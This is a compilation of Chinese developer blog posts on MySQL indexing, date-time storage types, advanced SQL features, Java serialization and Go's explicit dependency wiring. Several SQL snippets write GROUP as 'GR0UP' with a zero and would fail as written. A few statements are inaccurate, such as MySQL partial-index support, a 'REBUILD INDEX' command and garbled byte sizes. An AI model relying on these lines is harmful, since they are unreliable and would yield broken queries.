SELECT * FROM users WHERE email IS NULL; -- 可能不使用索引
SELECT * FROM users WHERE email IS NOT NULL; -- 可能不使用索引
NULL值可能不使用索引。
解决方案:
- 避免NULL值:设置默认值
- 使用函数索引(MySQL 8.0+)
-- 使用函数索引处理NULL值
CREATE INDEX idx_email_null ON users((COALESCE(email, '')));
SELECT * FROM users WHERE COALESCE(email, '') = '';
7.索引对排序和分组有什么影响?
索引优化排序和分组:
-- 创建索引
CREATE INDEX idx_age_name ON users(age, name);
-- 索引优化排序
SELECT * FROM users ORDER BY age, name; -- √ 使用索引避免排序
-- 索引优化分组
SELECT age, COUNT(*) FROM users GR0UP BY age; -- √ 使用索引优化分组
-- 无法使用索引排序的情况
SELECT * FROM users ORDER BY name, age; -- × 不符合最左前缀
SELECT * FROM users ORDER BY age DESC, name ASC; -- × 排序方向不一致
最近为了帮助大家找工作,专门建了一些工作内推群,各大城市都有,欢迎各位HR和找工作的小伙伴进群交流,群里目前已经收集了不少的工作内推岗位。加苏三的微信:li_su223,备注:掘金+所在城市,即可进群。
8.如何发现索引失效的场景?
常见索引失效场景:
- 函数操作:
WHERE YEAR(create_time) = 2023 - 类型转换:
WHERE phone = 13800138000(phone是varchar) - 数学运算:
WHERE age + 1 > 30 - 前导通配符:
WHERE name LIKE '%苏三'
使用EXPLAIN分析:
EXPLAIN SELECT * FROM users WHERE name = '苏三';
-- 查看关键指标:
-- type: const|ref|range|index|ALL(性能从好到坏)
-- key: 实际使用的索引
-- rows: 预估扫描行数
-- Extra: Using index(覆盖索引)| Using filesort(需要排序)| Using temporary(需要临时表)
9.如何维护和优化索引?
定期索引维护:
-- 查看索引使用情况(MySQL)
SELECT * FROM sys.schema_index_statistics
WHERE table_schema = 'your_database' AND table_name = 'users';
-- 重建索引(优化索引碎片)
ALTER TABLE users REBUILD INDEX idx_name;
-- 分析索引使用情况
ANALYZE TABLE users;
索引监控:
-- 开启索引监控(Oracle)
ALTER INDEX idx_name MONITORING USAGE;
-- 查看索引使用情况
SELECT * FROM v$object_usage WHERE index_name = 'IDX_NAME';
10.不同数据库的索引有什么差异?
MySQL vs PostgreSQL索引差异:
| 特性 | MySQL | PostgreSQL |
|---|---|---|
| 索引类型 | B+Tree, Hash, Fulltext | B+Tree, Hash, GiST, SP-GiST |
| 覆盖索引 | 支持 | 支持(使用INCLUDE) |
| 函数索引 | 8.0+支持 | 支持 |
| 部分索引 | 支持 | 支持 |
| 索引组织表 | 聚簇索引 | 堆表 |
PostgreSQL示例:
-- 创建包含索引(Covering Index)
CREATE INDEX idx_users_covering ON users (name) INCLUDE (email, age);
-- 创建部分索引(Partial Index)
CREATE INDEX idx_active_users ON users (name) WHERE is_active = true;
-- 创建表达式索引(Expression Index)
CREATE INDEX idx_name_lower ON users (LOWER(name));
三、索引设计最佳实践
3.1 索引设计原则
- 按需创建:只为经常查询的字段创建索引
- 选择合适类型:根据场景选择B-Tree、Hash、全文索引等
- 考虑复合索引:使用复合索引减少索引数量
- 避免过度索引:每个索引都有维护成本
- 定期维护:重建索引,优化索引碎片
3.2 索引设计检查清单

四、实战案例:电商系统索引设计
4.1 用户表索引设计
-- 用户表结构
CREATE TABLE users (
id BIGINT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
email VARCHAR(100) NOT NULL,
phone VARCHAR(20),
age INT,
city VARCHAR(50),
created_at TIMESTAMP,
is_active BOOLEAN
);
-- 推荐索引
CREATE INDEX idx_users_username ON users(username);
CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_users_city_age ON users(city, age);
CREATE INDEX idx_users_created ON users(created_at) WHERE is_active = true;
4.2 订单表索引设计
-- 订单表结构
CREATE TABLE orders (
id BIGINT PRIMARY KEY,
user_id BIGINT,
status VARCHAR(20),
amount DECIMAL(10,2),
created_at TIMESTAMP,
updated_at TIMESTAMP
);
-- 推荐索引
CREATE INDEX idx_orders_user_id ON orders(user_id);
CREATE INDEX idx_orders_status_created ON orders(status, created_at);
CREATE INDEX idx_orders_created_amount ON orders(created_at, amount);
总结
- 理解原理:掌握B+树索引的工作原理和特性。
- 合理设计:遵循最左前缀原则,选择合适的索引顺序。
- 避免失效:注意索引失效的常见场景。
- 覆盖索引:尽可能使用覆盖索引减少回表。
- 定期维护:监控索引使用情况,定期优化重建。
- 权衡利弊:索引不是越多越好,要权衡查询性能和写成本。
好的索引设计是数据库性能的基石。
不要盲目添加索引,要基于实际查询需求和数据分布来科学设计。
最后说一句(求关注,别白嫖我)
如果这篇文章对您有所帮助,或者有所启发的话,帮忙关注一下我的同名公众号:苏三说技术,您的支持是我坚持写作最大的动力。
求一键三连:点赞、转发、在看。
关注公众号:【苏三说技术】,在公众号中回复:进大厂,可以免费获取我最近整理的10万字的面试宝典,好多小伙伴靠这个宝典拿到了多家大厂的offer。
来源:juejin.cn/post/7578402574652850228
公司来的新人用字符串存储日期,被组长怒怼了...
在日常的软件开发工作中,存储时间是一项基础且常见的需求。无论是记录数据的操作时间、金融交易的发生时间,还是行程的出发时间、用户的下单时间等等,时间信息与我们的业务逻辑和系统功能紧密相关。因此,正确选择和使用 MySQL 的日期时间类型至关重要,其恰当与否甚至可能对业务的准确性和系统的稳定性产生显著影响。
本文旨在帮助开发者重新审视并深入理解 MySQL 中不同的时间存储方式,以便做出更合适项目业务场景的选择。
不要用字符串存储日期
和许多数据库初学者一样,笔者在早期学习阶段也曾尝试使用字符串(如 VARCHAR)类型来存储日期和时间,甚至一度认为这是一种简单直观的方法。毕竟,'YYYY-MM-DD HH:MM:SS' 这样的格式看起来清晰易懂。
但是,这是不正确的做法,主要会有下面两个问题:
- 空间效率:与 MySQL 内建的日期时间类型相比,字符串通常需要占用更多的存储空间来表示相同的时间信息。
- 查询与计算效率低下:
- 比较操作复杂且低效:基于字符串的日期比较需要按照字典序逐字符进行,这不仅不直观(例如,'2024-05-01' 会小于 '2024-1-10'),而且效率远低于使用原生日期时间类型进行的数值或时间点比较。
- 计算功能受限:无法直接利用数据库提供的丰富日期时间函数进行运算(例如,计算两个日期之间的间隔、对日期进行加减操作等),需要先转换格式,增加了复杂性。
- 索引性能不佳:基于字符串的索引在处理范围查询(如查找特定时间段内的数据)时,其效率和灵活性通常不如原生日期时间类型的索引。
DATETIME 和 TIMESTAMP 选择
DATETIME 和 TIMESTAMP 是 MySQL 中两种非常常用的、用于存储包含日期和时间信息的数据类型。它们都可以存储精确到秒(MySQL 5.6.4+ 支持更高精度的小数秒)的时间值。那么,在实际应用中,我们应该如何在这两者之间做出选择呢?
下面我们从几个关键维度对它们进行对比:
时区信息
DATETIME 类型存储的是字面量的日期和时间值,它本身不包含任何时区信息。当你插入一个 DATETIME 值时,MySQL 存储的就是你提供的那个确切的时间,不会进行任何时区转换。
这样就会有什么问题呢? 如果你的应用需要支持多个时区,或者服务器、客户端的时区可能发生变化,那么使用 DATETIME 时,应用程序需要自行处理时区的转换和解释。如果处理不当(例如,假设所有存储的时间都属于同一个时区,但实际环境变化了),可能会导致时间显示或计算上的混乱。
TIMESTAMP 和时区有关。存储时,MySQL 会将当前会话时区下的时间值转换成 UTC(协调世界时)进行内部存储。当查询 TIMESTAMP 字段时,MySQL 又会将存储的 UTC 时间转换回当前会话所设置的时区来显示。
这意味着,对于同一条记录的 TIMESTAMP 字段,在不同的会话时区设置下查询,可能会看到不同的本地时间表示,但它们都对应着同一个绝对时间点(UTC 时间)。这对于需要全球化、多时区支持的应用来说非常有用。
下面实际演示一下!
建表 SQL 语句:
CREATE TABLE `time_zone_test` (
`id` bigint(20) NOT NULL AUTO_INCREMENT,
`date_time` datetime DEFAULT NULL,
`time_stamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
插入一条数据(假设当前会话时区为系统默认,例如 UTC+0)::
INSERT INTO time_zone_test(date_time,time_stamp) VALUES(NOW(),NOW());
查询数据(在同一时区会话下):
SELECT date_time, time_stamp FROM time_zone_test;
结果:
+---------------------+---------------------+
| date_time | time_stamp |
+---------------------+---------------------+
| 2020-01-11 09:53:32 | 2020-01-11 09:53:32 |
+---------------------+---------------------+
现在,修改当前会话的时区为东八区 (UTC+8):
SET time_zone = '+8:00';
再次查询数据:
# TIMESTAMP 的值自动转换为 UTC+8 时间
+---------------------+---------------------+
| date_time | time_stamp |
+---------------------+---------------------+
| 2020-01-11 09:53:32 | 2020-01-11 17:53:32 |
+---------------------+---------------------+
扩展:MySQL 时区设置常用 SQL 命令
# 查看当前会话时区
SELECT @@session.time_zone;
# 设置当前会话时区
SET time_zone = 'Europe/Helsinki';
SET time_zone = "+00:00";
# 数据库全局时区设置
SELECT @@global.time_zone;
# 设置全局时区
SET GLOBAL time_zone = '+8:00';
SET GLOBAL time_zone = 'Europe/Helsinki';
占用空间
下图是 MySQL 日期类型所占的存储空间(官方文档传送门:dev.mysql.com/doc/refman/…):

在 MySQL 5.6.4 之前,DateTime 和 TIMESTAMP 的存储空间是固定的,分别为 8 字节和 4 字节。但是从 MySQL 5.6.4 开始,它们的存储空间会根据毫秒精度的不同而变化,DateTime 的范围是 58 字节,TIMESTAMP 的范围是 47 字节。
表示范围
TIMESTAMP 表示的时间范围更小,只能到 2038 年:
DATETIME:'1000-01-01 00:00:00.000000' 到 '9999-12-31 23:59:59.999999'TIMESTAMP:'1970-01-01 00:00:01.000000' UTC 到 '2038-01-19 03:14:07.999999' UTC
性能
由于 TIMESTAMP 在存储和检索时需要进行 UTC 与当前会话时区的转换,这个过程可能涉及到额外的计算开销,尤其是在需要调用操作系统底层接口获取或处理时区信息时。虽然现代数据库和操作系统对此进行了优化,但在某些极端高并发或对延迟极其敏感的场景下,DATETIME 因其不涉及时区转换,处理逻辑相对更简单直接,可能会表现出微弱的性能优势。
为了获得可预测的行为并可能减少 TIMESTAMP 的转换开销,推荐的做法是在应用程序层面统一管理时区,或者在数据库连接/会话级别显式设置 time_zone 参数,而不是依赖服务器的默认或操作系统时区。
数值时间戳是更好的选择吗?
除了上述两种类型,实践中也常用整数类型(INT 或 BIGINT)来存储所谓的“Unix 时间戳”(即从 1970 年 1 月 1 日 00:00:00 UTC 起至目标时间的总秒数,或毫秒数)。
这种存储方式的具有 TIMESTAMP 类型的所具有一些优点,并且使用它的进行日期排序以及对比等操作的效率会更高,跨系统也很方便,毕竟只是存放的数值。缺点也很明显,就是数据的可读性太差了,你无法直观的看到具体时间。
时间戳的定义如下:
时间戳的定义是从一个基准时间开始算起,这个基准时间是「1970-1-1 00:00:00 +0:00」,从这个时间开始,用整数表示,以秒计时,随着时间的流逝这个时间整数不断增加。这样一来,我只需要一个数值,就可以完美地表示时间了,而且这个数值是一个绝对数值,即无论的身处地球的任何角落,这个表示时间的时间戳,都是一样的,生成的数值都是一样的,并且没有时区的概念,所以在系统的中时间的传输中,都不需要进行额外的转换了,只有在显示给用户的时候,才转换为字符串格式的本地时间。
数据库中实际操作:
-- 将日期时间字符串转换为 Unix 时间戳 (秒)
mysql> SELECT UNIX_TIMESTAMP('2020-01-11 09:53:32');
+---------------------------------------+
| UNIX_TIMESTAMP('2020-01-11 09:53:32') |
+---------------------------------------+
| 1578707612 |
+---------------------------------------+
1 row in set (0.00 sec)
-- 将 Unix 时间戳 (秒) 转换为日期时间格式
mysql> SELECT FROM_UNIXTIME(1578707612);
+---------------------------+
| FROM_UNIXTIME(1578707612) |
+---------------------------+
| 2020-01-11 09:53:32 |
+---------------------------+
1 row in set (0.01 sec)
PostgreSQL 中没有 DATETIME
由于有读者提到 PostgreSQL(PG) 的时间类型,因此这里拓展补充一下。PG 官方文档对时间类型的描述地址:http://www.postgresql.org/docs/curren…。

可以看到,PG 没有名为 DATETIME 的类型:
- PG 的
TIMESTAMP WITHOUT TIME ZONE在功能上最接近 MySQL 的DATETIME。它存储日期和时间,但不包含任何时区信息,存储的是字面值。 - PG 的
TIMESTAMP WITH TIME ZONE(或TIMESTAMPTZ) 相当于 MySQL 的TIMESTAMP。它在存储时会将输入值转换为 UTC,并在检索时根据当前会话的时区进行转换显示。
对于绝大多数需要记录精确发生时间点的应用场景,TIMESTAMPTZ是 PostgreSQL 中最推荐、最健壮的选择,因为它能最好地处理时区复杂性。
总结
MySQL 中时间到底怎么存储才好?DATETIME?TIMESTAMP?还是数值时间戳?
并没有一个银弹,很多程序员会觉得数值型时间戳是真的好,效率又高还各种兼容,但是很多人又觉得它表现的不够直观。
《高性能 MySQL 》这本神书的作者就是推荐 TIMESTAMP,原因是数值表示时间不够直观。下面是原文:

每种方式都有各自的优势,根据实际场景选择最合适的才是王道。下面再对这三种方式做一个简单的对比,以供大家实际开发中选择正确的存放时间的数据类型:
| 类型 | 存储空间 | 日期格式 | 日期范围 | 是否带时区信息 |
|---|---|---|---|---|
| DATETIME | 5~8 字节 | YYYY-MM-DD hh:mm:ss[.fraction] | 1000-01-01 00:00:00[.000000] ~ 9999-12-31 23:59:59[.999999] | 否 |
| TIMESTAMP | 4~7 字节 | YYYY-MM-DD hh:mm:ss[.fraction] | 1970-01-01 00:00:01[.000000] ~ 2038-01-19 03:14:07[.999999] | 是 |
| 数值型时间戳 | 4 字节 | 全数字如 1578707612 | 1970-01-01 00:00:01 之后的时间 | 否 |
选择建议小结:
TIMESTAMP的核心优势在于其内建的时区处理能力。数据库负责 UTC 存储和基于会话时区的自动转换,简化了需要处理多时区应用的开发。如果应用需要处理多时区,或者希望数据库能自动管理时区转换,TIMESTAMP是自然的选择(注意其时间范围限制,也就是 2038 年问题)。- 如果应用场景不涉及时区转换,或者希望应用程序完全控制时区逻辑,并且需要表示 2038 年之后的时间,
DATETIME是更稳妥的选择。 - 如果极度关注比较性能,或者需要频繁跨系统传递时间数据,并且可以接受可读性的牺牲(或总是在应用层转换),数值时间戳是一个强大的选项。
来源:juejin.cn/post/7488927722774937609
这 10 个 MySQL 高级用法,让你的代码又快又好看
大家好,我是大华!
MySQL 有很多高级但实用的功能,能让你的查询变得更简洁、更高效。
今天分享 10 个我在工作中经常使用的 SQL 技巧,不用死记硬背,掌握了就能立刻提升你的数据库操作水平!
1. CTE(WITH 子句)——让复杂查询变清晰
-- 传统子查询,难以阅读
SELECT nickname
FROM system_users
WHERE dept_id IN (
SELECT id FROM system_dept WHERE `name` = 'IT部'
);
-- 使用CTE,逻辑清晰
WITH ny_depts AS (
SELECT id FROM system_dept WHERE `name` = 'IT部'
)
SELECT u.nickname
FROM system_users u
JOIN ny_depts nd ON u.dept_id = nd.id;
解释:
WITH ny_depts AS (...):先创建一个临时结果集,叫ny_depts,里面只包含“IT部”的部门名称。SELECT u.nickname FROM system_users u JOIN ny_depts...:再从用户表中找出那些部门ID在ny_depts里的员工昵称。
好处:把找部门和找人分成两步,逻辑更清楚,比嵌套子查询好读多了。
2. 窗口函数 —— 不分组也能统计
SELECT
name,
department,
salary,
RANK() OVER (PARTITION BY department ORDER BY salary DESC) AS rank_in_dept,
AVG(salary) OVER (PARTITION BY department) AS avg_salary
FROM employees;
解释:
PARTITION BY department:按部门“分组”,但不合并行,每行仍然保留。RANK() OVER (...):在每个部门内部,按薪水从高到低排名(相同薪水并列)。AVG(salary) OVER (...):计算每个部门的平均工资,并显示在每一行里。
对比 GR0UP BY:GR0UP BY 会把多行合并成一行,而窗口函数保留原始行,同时加上统计值。
3. 条件聚合 —— 一行查出多个统计
SELECT
YEAR(created_at) AS year,
COUNT(*) AS total,
COUNT(CASE WHEN status = 'completed' THEN 1 END) AS completed,
SUM(CASE WHEN status = 'completed' THEN amount ELSE 0 END) AS revenue
FROM orders
GR0UP BY YEAR(created_at);
解释:
YEAR(created_at):提取订单年份。COUNT(*):该年总订单数。COUNT(CASE WHEN status = 'completed' THEN 1 END):
如果状态是'completed',就返回1,否则返回NULL;COUNT()只统计非NULL值,所以这行就是“完成的订单数”。SUM(CASE WHEN ... THEN amount ELSE 0 END):只对完成的订单求金额总和。
关键:不用写多个子查询,一条语句搞定全年报表!
4. 自连接 —— 同一张表自己连自己
SELECT e1.name, e2.name
FROM employees e1
JOIN employees e2
ON e1.department = e2.department
AND e1.id < e2.id
AND ABS(e1.salary - e2.salary) <= e1.salary * 0.1;
解释:
employees e1 JOIN employees e2:把员工表当成两个副本(e1 和 e2)来连接。e1.department = e2.department:只找同一个部门的人。e1.id < e2.id:避免重复配对(比如 Alice-Bob 和 Bob-Alice 只保留一个)。ABS(...):计算两人薪水差是否 ≤ 10%。
用途:找“相似记录”“配对关系”“上下级”等场景非常有用。
5. EXISTS 替代 IN —— 更高效的存在判断
SELECT name FROM customers c
WHERE EXISTS (
SELECT 1 FROM orders o
WHERE o.customer_id = c.id AND o.amount > 1000
);
解释:
- 对每一位客户
c,检查是否存在一笔订单满足:
- 订单的
customer_id等于这个客户的id - 订单金额 > 1000
- 订单的
SELECT 1:这里不需要返回具体字段,只要知道“有没有”就行,所以用1最轻量。- 为什么快?:一旦找到一条匹配订单,就立刻停止搜索,不像
IN可能要加载全部订单 ID。
注意:如果子查询可能返回 NULL,IN 会失效(因为 x IN (..., NULL) 永远为 UNKNOWN),而 EXISTS 不受影响。
6. JSON 函数 —— 轻松读取 JSON 字段
SELECT
name,
profile->>'$.address.city' AS city,
JSON_EXTRACT(profile, '$.age') AS age
FROM users
WHERE profile->>'$.city' = 'Beijing';
解释:
profile是一个 JSON 类型字段,比如:{"address": {"city": "Beijing"}, "age": 30}profile->>'$.address.city':
->>是简写,等价于JSON_UNQUOTE(JSON_EXTRACT(...))- 返回字符串
"Beijing"(去掉引号)
JSON_EXTRACT(profile, '$.age'):返回30(带类型,可能是数字)WHERE profile->>'$.city' = 'Beijing':筛选城市是北京的用户。
适用场景:用户偏好、动态表单、日志等结构不固定的字段。
7. 生成列 —— 数据库自动帮你算
CREATE TABLE products (
id INT PRIMARY KEY,
width DECIMAL(10,2),
height DECIMAL(10,2),
area DECIMAL(10,2) AS (width * height) STORED
);
INSERT INTO products (id, width, height) VALUES (1, 5, 10);
解释:
area DECIMAL(...) AS (width * height) STORED:
- 这是一个“存储型生成列”,数据库会自动计算
width * height并存下来。 - 如果不加
STORED,就是“虚拟列”(每次查询时计算,不占存储)。
- 这是一个“存储型生成列”,数据库会自动计算
- 插入时只需给
width和height,area自动变成50。
优势:避免应用层重复计算,还能给 area 加索引加速查询!
8. 多表更新 —— 一条语句更新关联数据
UPDATE customers c
JOIN (
SELECT customer_id, SUM(amount) AS total
FROM orders
GR0UP BY customer_id
) o ON c.id = o.customer_id
SET c.total_spent = o.total;
解释:
- 子查询
o:先按客户 ID 统计每个人的总消费。 UPDATE customers c JOIN o ...:把客户表和统计结果连接起来。SET c.total_spent = o.total:直接把统计值写回客户表。
好处:不用在程序里循环“查一个、改一个”,减少网络开销,保证原子性。
9. GR0UP_CONCAT —— 多行变一行
SELECT
department,
GR0UP_CONCAT(name ORDER BY salary DESC SEPARATOR ', ') AS members
FROM employees
GR0UP BY department;
解释:
GR0UP BY department:按部门分组。GR0UP_CONCAT(name ...):把每个部门的所有员工名字拼成一个字符串。ORDER BY salary DESC:按薪水从高到低排序后再拼接。SEPARATOR ', ':用逗号加空格分隔名字。
典型用途:导出名单、展示标签、汇总明细等。
默认最多拼 1024 字符,可通过 SET SESSION group_concat_max_len = 1000000; 调大。
10. INSERT ... ON DUPLICATE KEY UPDATE —— 智能插入/更新
INSERT INTO page_views (page_url, view_date, view_count)
VALUES ('/home', CURDATE(), 1)
ON DUPLICATE KEY UPDATE
view_count = view_count + 1;
解释:
- 尝试插入一条新记录:页面
/home,今天日期,访问次数为 1。 - 如果因为唯一索引冲突(比如
(page_url, view_date)是唯一键)导致插入失败:
- 就执行
ON DUPLICATE KEY UPDATE部分 - 把原有的
view_count加 1
- 就执行
- 效果:第一次访问创建记录,之后每次访问自动 +1,完美实现计数器!
前提:表必须有主键或唯一索引,否则不会触发更新。
本文首发于公众号:程序员刘大华,专注分享前后端开发的实战笔记。关注我,少走弯路,一起进步!
📌往期精彩
《async/await 到底要不要加 try-catch?异步错误处理最佳实践》
《如何查看 SpringBoot 当前线程数?3 种方法亲测有效》
《Java 开发必看:什么时候用 for,什么时候用 Stream?》
来源:juejin.cn/post/7584266184882552866
招行2面:为什么需要序列化和反序列?为什么不能直接使用对象?
Hi,你好,我是猿java。
工作中,我们经常听到序列化和反序列化,那么,什么是序列化?什么又是反序列化?这篇文章,我们来分析一个招商的面试题:为什么需要序列化和反序列化?
1. 什么是序列化和反序列化?
简单来说,序列化就是把一个Java对象转换成一系列字节的过程,这些字节可以被存储到文件、数据库,或者通过网络传输。反过来,反序列化则是把这些字节重新转换成Java对象的过程。
想象一下,你有一个手机应用中的用户对象(比如用户的名字、年龄等信息)。如果你想将这个用户对象存储起来,或者发送给服务器,你就需要先序列化它。等到需要使用的时候,再通过反序列化把它恢复成原来的对象。
2. 为什么需要序列化?
“为什么需要序列化?为什么不能直接使用对象呢?”这确实是一个好问题,而且很多工作多年的程序员不一定能回答清楚。综合来看:需要序列化的主要原因有以下三点:
- 持久化存储:当你需要将对象的数据保存到磁盘或数据库中时,必须把对象转换成一系列字节。
- 网络传输:在分布式系统中,不同的机器需要交换对象数据,序列化是实现这一点的关键。
- 深拷贝:有时候需要创建对象的副本,序列化和反序列化可以帮助你实现深拷贝。
更直白的说,序列化是为了实现持久化和网络传输,对象是应用层的东西,不同的语言(比如:java,go,python)创建的对象还不一样,实现持久化和网络传输的载体不认这些对象。
3. 序列化的原理分析
Java中的序列化是通过实现java.io.Serializable接口来实现的。这个接口是一个标记接口,意味着它本身没有任何方法,只是用来标记这个类的对象是可序列化的。
当你序列化一个对象时,Java会将对象的所有非瞬态(transient)和非静态字段的值转换成字节流。这包括对象的基本数据类型、引用类型,甚至是继承自父类的字段。
序列化的步骤
- 实现
Serializable接口:你的类需要实现这个接口。 - 创建
ObjectOutputStream:用于将对象转换成字节流。 - 调用
writeObject方法:将对象写入输出流。 - 关闭流:别忘了关闭流以释放资源。
反序列化的步骤大致相同,只不过是使用ObjectInputStream和readObject方法。
4. 示例演示
让我们通过一个简单的例子来看看实际操作是怎样的。
定义一个可序列化的类
import java.io.Serializable;
public class User implements Serializable {
private static final long serialVersionUID = 1L; // 推荐定义序列化版本号
private String name;
private int age;
private transient String password; // transient字段不会被序列化
public User(String name, int age, String password) {
this.name = name;
this.age = age;
this.password = password;
}
// 省略getter和setter方法
@Override
public String toString() {
return "User{name='" + name + "', age=" + age + ", password='" + password + "'}";
}
}
序列化对象
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializeDemo {
public static void main(String[] args) {
User user = new User("Alice", 30, "secret123");
try (FileOutputStream fileOut = new FileOutputStream("user.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(user);
System.out.println("对象已序列化到 user.ser 文件中.");
} catch (IOException i) {
i.printStackTrace();
}
}
}
运行上述代码后,你会发现当前目录下生成了一个名为user.ser的文件,这就是序列化后的字节流。
反序列化对象
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class DeserializeDemo {
public static void main(String[] args) {
User user = null;
try (FileInputStream fileIn = new FileInputStream("user.ser");
ObjectInputStream in = new ObjectInputStream(fileIn)) {
user = (User) in.readObject();
System.out.println("反序列化后的对象: " + user);
} catch (IOException | ClassNotFoundException i) {
i.printStackTrace();
}
}
}
运行这段代码,你会看到输出:
反序列化后的对象: User{name='Alice', age=30, password='null'}
注意到password字段为空,这是因为它被声明为transient,在序列化过程中被忽略了。
5. 常见问题与注意事项
serialVersionUID是干嘛的?
serialVersionUID是序列化时用来验证版本兼容性的一个标识符。如果你不显式定义它,Java会根据类的结构自动生成。但为了避免类结构变化导致序列化失败,建议手动定义一个固定的值。
继承关系中的序列化
如果一个类的父类没有实现Serializable接口,那么在序列化子类对象时,父类的字段不会被序列化。反序列化时,父类的构造函数会被调用初始化父类部分。
处理敏感信息
使用transient关键字可以防止敏感信息被序列化,比如密码字段。此外,你也可以自定义序列化逻辑,通过实现writeObject和readObject方法来更精细地控制序列化过程。
6. 总结
本文,我们深入浅出地探讨了Java中的序列化和反序列化,从基本概念到原理分析,再到实际的代码示例,希望你对这两个重要的技术点有了更清晰的理解。
为什么需要序列化和反序列化?
最直白的说,如果不进行持久化和网络传输,根本不需要序列化和反序列化。如果需要实现持久化和网络传输,就必须序列化和反序列化,因为对象是应用层的东西,不同的语言(比如:java,go,python)创建的对象还不一样,实现持久化和网络传输的载体根本不认这些对象。
7. 交流学习
最后,把猿哥的座右铭送给你:投资自己才是最大的财富。 如果你觉得文章有帮助,请帮忙转发给更多的好友,或关注公众号:猿java,持续输出硬核文章。
来源:juejin.cn/post/7499078331708932134
一个 Java 老兵转 Go 后,终于理解了“简单”的力量
之前写的文章《信不信?一天让你从Java工程师变成Go开发者》很受关注,很多读者对 Go 的学习很感兴趣。今天就再写一篇,聊聊 Java 程序员写 Go 时最常见的思维误区。
核心观点: Go 不需要 Spring 式的依赖注入框架,因为它的设计哲学是"显式优于隐式"。手动构造依赖看似啰嗦,实则更清晰、更快、更易调试。
从 Java 转 Go,第一天就会被这个问题困扰:"@Autowired 在哪?依赖注入框架用哪个?IoC 容器怎么配?"
答案很直接:Go 里没有,也不需要。 不是 Go 做不到,而是 Go 压根不想这么干。这不是功能缺失,而是设计哲学的根本性差异。
第一反应:Go 怎么这么"原始"?
刚开始写 Go,看到的代码是这样的:
func main() {
// 手动创建数据库连接
db := NewDB("localhost:3306", "user", "password")
// 手动创建各种 Service
userRepo := NewUserRepository(db)
orderRepo := NewOrderRepository(db)
paymentSvc := NewPaymentService(db)
inventorySvc := NewInventoryService(db)
orderSvc := NewOrderService(
orderRepo,
paymentSvc,
inventorySvc,
)
userSvc := NewUserService(userRepo)
// 手动创建 HTTP Handler
handler := NewHandler(orderSvc, userSvc)
// 启动服务
http.ListenAndServe(":8080", handler)
}
第一反应:这种写法让人想起早期的 Java 或 PHP。
在 Java 里,这些全是框架干的事:
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
// 就这一行,所有对象都帮你创建好了
}
}
@RestController
public class OrderController {
@Autowired
private OrderService orderService;
// 框架自动注入,你根本看不到对象怎么创建的
}
Java 开发者心里 OS:
- "Go 是不是太简陋了?"
- "难道要我手动 new 几十个对象?"
- "这不是倒退吗?"
先别急着下结论,听我说完。
为什么 Go 要这么"原始"?
Go 的设计哲学就一句话:
显式优于隐式,简单优于复杂。
这不是口号,而是实实在在的取舍。
对比1:依赖是怎么传递的?
Java/Spring 的做法:
// 你写这个
@Service
public class OrderService {
@Autowired
private PaymentService paymentService;
@Autowired
private InventoryService inventoryService;
@Autowired
private NotificationService notificationService;
}
// 框架在背后做了:
// 1. 扫描所有类
// 2. 分析依赖关系
// 3. 构建依赖图
// 4. 按顺序创建对象
// 5. 通过反射注入字段
// 6. 处理循环依赖
// 7. 管理生命周期
这些魔法看起来很方便,但:
- 你不知道对象什么时候创建的
- 你不知道注入顺序是什么
- 出问题了,调试要靠猜
- 启动慢(要扫描、要反射)
- 内存大(要维护容器)
Go 的做法:
type OrderService struct {
paymentSvc *PaymentService
inventorySvc *InventoryService
notificationSvc *NotificationService
}
func NewOrderService(
paymentSvc *PaymentService,
inventorySvc *InventoryService,
notificationSvc *NotificationService,
) *OrderService {
return &OrderService{
paymentSvc: paymentSvc,
inventorySvc: inventorySvc,
notificationSvc: notificationSvc,
}
}
// 在 main 里
paymentSvc := NewPaymentService(db)
inventorySvc := NewInventoryService(db)
notificationSvc := NewNotificationService(queue)
orderSvc := NewOrderService(
paymentSvc,
inventorySvc,
notificationSvc,
)
这些代码看起来很啰嗦,但:
- 你清楚地看到每个对象怎么创建的
- 你清楚地看到依赖关系是什么
- 出问题了,一眼就能定位
- 启动快(没有扫描、没有反射)
- 内存小(没有容器)
对比2:遇到问题怎么调试?
Java/Spring 遇到问题:
报错:Could not autowire. No beans of 'PaymentService' type found.
你要做的:
1. 检查 PaymentService 有没有 @Service
2. 检查包扫描路径对不对
3. 检查有没有循环依赖
4. 检查 @Conditional 条件是否满足
5. 检查配置文件有没有禁用
6. Google 半天
7. 还不行,看 Spring 源码
根本原因可能是:配置文件里有个 typo
Go 遇到问题:
编译报错:undefined: paymentSvc
你要做的:
1. 看报错的那一行
2. 发现没有传 paymentSvc 参数
3. 改完,搞定
5 秒钟解决
对比3:新人上手难度
Java/Spring 新人:
"这个对象哪来的?"
"@Autowired 和 @Resource 有什么区别?"
"为什么我的 Bean 没有注入?"
"循环依赖怎么解决?"
"什么是 BeanPostProcessor?"
要学的概念:
- IoC 容器
- 依赖注入
- Bean 生命周期
- AOP
- 代理模式
- ...
Go 新人:
"这个对象哪来的?"
"看 main 函数,就是在那 New 出来的。"
"哦,明白了。"
要学的概念:
- 函数
- 指针
Go 为什么说自己"像脚本语言"?
Go 的设计目标就是:
写起来像脚本语言一样简单,跑起来像编译型语言一样快。
什么叫"像脚本语言"?
PHP 的写法:
<?php
// 直接开始写逻辑
$db = new PDO('mysql:host=localhost', 'user', 'pass');
$userRepo = new UserRepository($db);
$user = $userRepo->find(1);
echo $user->name;
Python 的写法:
# 直接开始写逻辑
db = connect_db('localhost', 'user', 'pass')
user_repo = UserRepository(db)
user = user_repo.find(1)
print(user.name)
Go 的写法:
func main() {
// 直接开始写逻辑
db := NewDB("localhost", "user", "pass")
userRepo := NewUserRepository(db)
user := userRepo.Find(1)
fmt.Println(user.Name)
}
看出来了吗?Go 就是想让你像写脚本一样写代码。
不需要:
- 复杂的配置文件
- 注解魔法
- 框架黑盒
- 反射黑魔法
只需要:
- 创建对象
- 调用方法
- 传递参数
但是,它不是脚本语言:
- 有强类型检查(写错了编译不过)
